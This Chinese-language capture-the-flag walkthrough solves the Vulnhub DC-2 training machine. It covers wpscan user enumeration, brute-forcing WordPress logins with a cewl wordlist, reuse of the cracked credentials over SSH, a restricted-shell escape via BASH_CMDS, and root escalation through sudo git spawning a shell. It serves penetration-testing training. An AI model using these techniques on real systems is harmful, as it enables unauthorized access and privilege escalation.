Vulnhub靶机DC系列-DC2
2021-01-12 10:53:24 Author: www.freebuf.com(查看原文) 阅读量:193 收藏

0x0:靶场介绍

靶场名称: DC: 2

靶场发布时间:2019-3-22

靶场地址:https://www.vulnhub.com/entry/dc-2,311/

靶场描述:

Much like DC-1, DC-2 is another purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.

As with the original DC-1, it's designed with beginners in mind.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

Just like with DC-1, there are five flags including the final flag.

And again, just like with DC-1, the flags are important for beginners, but not so important for those who have experience.

In short, the only flag that really counts, is the final flag.

For beginners, Google is your friend. Well, apart from all the privacy concerns etc etc.

I haven't explored all the ways to achieve root, as I scrapped the previous version I had been working on, and started completely fresh apart from the base OS install.

1x0:环境搭建

根据提示 需要把靶机的IP和 域名绑定 修改hosts文件

靶机ip dc-2

2x0:靶机渗透

获取靶机的IP

nmap -sn 192.168.37.0/24

1610412150_5ffcf076485fea5226085.png!small?1610412149473

在网段环境中机器 比较多的情况,通多比对MAC地址来判断那个是靶机

1610412197_5ffcf0a57aa91a99456dd.png!small?1610412196299

使用nmap来查看靶机的端口信息和系统信息等等(-A 时间太长了)

1610412313_5ffcf119e3b497158ab53.png!small?1610412313002

首先去查看80端口的web服务

在网页的底部发现很明显是WordPress

1610412372_5ffcf1547daf24b0d90cf.png!small?1610412371313

2x1:flag1

1610412451_5ffcf1a3b26f4213d9008.png!small?1610412450479

接下来扫描目录(dirb)

1610412777_5ffcf2e96aec6c47c1fd1.png!small?1610412776460

后台默认地址

1610412929_5ffcf38137bddfaefbe64.png!small?1610412928020

wpscan专门针对wordpress的工具

wpscan --url http://dc-2发现wordpress的版本4.7.10

1610413614_5ffcf62e27992b7db07dc.png!small?1610413612878

wpscan --url http://dc-2 --enumerate t 扫描主题

1610413564_5ffcf5fc98c15a36a8077.png!small?1610413563749

wpscan --url http://dc-2 --enumerate p 扫描插件

wpscan --url http://dc-2 --enumerate u 枚举用户

1610413080_5ffcf4187b3a6b323b7a5.png!small?1610413079235

根据flag1可以用暴力破解使用cewl生成字典

cewl http://dc-2/ > 1.txt

wpscan http://dc-2 --passwords 1.txt 暴力破解(过程很慢)

1610413489_5ffcf5b1c1e179186ac25.png!small?1610413488512

爆破出来两个账号

jerry/adipiscing

tom/parturient

登录后台 就可以看到flag2

1610413721_5ffcf699a57043fd2ba7e.png!small?1610413720428

2x2:flag2

1610413896_5ffcf748b3fdfe8d52466.png!small?1610413895536

提示wordpress行不通的话,换一个点

在nmap扫描有ssh 去尝试ssh连接(注意端口 可以直接用爆破出来的wordpress账号密码登录)

1610414213_5ffcf885eb8771fcce444.png!small?1610414212804

在tom账号的家目录 发现flag3

1610414563_5ffcf9e37d8746afbca68.png!small

在rbash里面,能使用的命令很有限(cat 用不了),尝试很多命令后可以用vi 查看flag3

2x3:flag3

1610414743_5ffcfa97cad5625008fef.png!small?1610414742682

接下来,尝试rbash绕过

查看可以使用的命令 echo $PATH

1610415037_5ffcfbbd74a2aef52a454.png!small?1610415036201

(cd进不去目录 使用ls直接查看)

1610414983_5ffcfb87c8371b05d8a4c.png!small?1610414982589

使用echo来绕过rbash

BASH_CMDS[a]=/bin/sh;a

$ export PATH=$PATH:/bin/

$ export PATH=$PATH:/usr/bin

1610415129_5ffcfc19a43ac44dfa158.png!small?1610415128492

2x4:flag4

在jerry的家目录发现flag4

1610415200_5ffcfc603f5622b1ab430.png!small?1610415199121

翻译就是:什么都没告诉你

3x0:root提权

查看一下可以使用的root权限命令1610415448_5ffcfd582e5f1de411c81.png!small?1610415447027

sudo可以使用,但是不能到root权限(可以尝试jerry的用户)

在使用su jerry (密码:adipiscing)

1610415779_5ffcfea3027ee2398a038.png!small?1610415777837

jerry用户也不可以直接sudo su

1610415860_5ffcfef41cd6482dd0d3b.png!small

发现可以使用git命令 (root权限)

1610416005_5ffcff85589eff84585c6.png!small?1610416004083

使用git命令进行提取

1610416080_5ffcffd071f039552c91a.png!small?1610416079201

输入!/bin/sh

1610416066_5ffcffc2361d5e926739f.png!small?1610416064984提权成功:

1610416145_5ffd0011c8400629ec363.png!small?1610416144584

3x1:最终的flag

1610416191_5ffd003fd4962fa6d385d.png!small?1610416190931

靶机结束


文章来源: https://www.freebuf.com/articles/web/260515.html
如有侵权请联系:admin#unsafe.sh